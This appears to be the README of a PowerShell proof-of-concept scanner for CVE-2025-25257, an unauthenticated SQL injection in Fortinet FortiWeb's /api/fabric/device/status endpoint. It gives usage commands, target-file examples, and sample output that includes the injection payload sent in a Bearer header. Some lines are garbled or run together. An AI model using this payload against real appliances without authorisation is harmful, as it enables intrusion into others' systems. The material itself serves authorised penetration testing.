
CVE-2025-25257 PoC for educational use and/or authorised pentesting.
This PowerShell script is designed for authorized penetration testing purposes only. It tests Fortinet FortiWeb appliances for CVE-2025-25257, an unauthenticated SQL injection vulnerability in the /api/fabric/device/status endpoint.
The script:
Important Disclaimer:
This tool is intended solely for ethical, authorized use in penetration testing or vulnerability assessment scenarios. Unauthorized use may violate laws such as the Computer Fraud and Abuse Act (CFAA) or equivalent regulations in your jurisdiction. Ensure you have explicit permission from the target owner before running this script. The author assumes no liability for misuse.
Invoke-WebRequest.git clone https://github.com/mr-r3b00t/CVE-2025-25257.git
cd CVE-2025-25257
The script is located at script.ps1.
Run the script from PowerShell with one of the following options:
Specify a single IP or DNS name, optionally with a port (e.g., 192.168.1.1:443).
.\script.ps1 -Target "192.168.1.1:443"
Or without port (scans default ports):
.\script.ps1 -Target "example.com"
Provide a text file with one target per line (e.g., targets.txt).
.\script.ps1 -InputFile "targets.txt"
Example targets.txt content:
192.168.1.1:443
example.com
10.0.0.1
The script will output results for each target and port, including:
Sample Output:
Testing https://192.168.1.1:443/api/fabric/device/status for CVE-2025-25257
Endpoint accessible (HEAD 200 OK). Proceeding with GET request for vulnerability test.
GET Response Status: 200
Potential vulnerability detected (200 OK with payload). Check content for confirmation.
GET Response Content: {"devices": [...]}
Authorization header (Bearer AAAAAA'or'1'='1).Contributions are welcome! Please fork the repository and submit a pull request with improvements, bug fixes, or additional features.
This project is licensed under the MIT License - see the LICENSE file for details.
For questions or issues, open a GitHub issue.